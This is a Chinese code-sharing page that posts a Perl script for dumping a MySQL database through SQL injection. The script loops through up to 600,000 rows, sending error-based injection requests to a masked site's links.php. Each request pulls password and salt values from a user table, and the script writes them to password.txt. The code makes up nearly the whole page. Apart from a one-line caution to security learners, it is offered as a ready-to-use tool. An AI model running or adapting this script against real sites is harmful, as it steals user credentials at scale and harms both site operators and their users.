当前位置: 代码网 > 服务器>网络安全>脚本攻防 > mysql注入导库脚本代码

mysql注入导库脚本代码

2011年12月17日 脚本攻防 我要评论
mysql注入导库脚本代码mysql注入导库脚本代码,学习安全的朋友要注意防范。... 11-12-17

复制代码
代码如下:

#!/usr/bin/perl -w
#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use lwp::simple;
use utf8;
$|++;
my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'id: ', $count, "\n";
my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (select concat(0x5e24,0x7c,password,0x3a,salt,0x245e) from `wowguru_db`.user limit%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
#print "$url\n";
my $content = get($url);
while ($content =~ m|\^\$(.+?)\$\^|igs) {
open file, ">>", "password.txt" or die $!;
print "$1\n";
print file "$1\n";
close file;
}
}
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com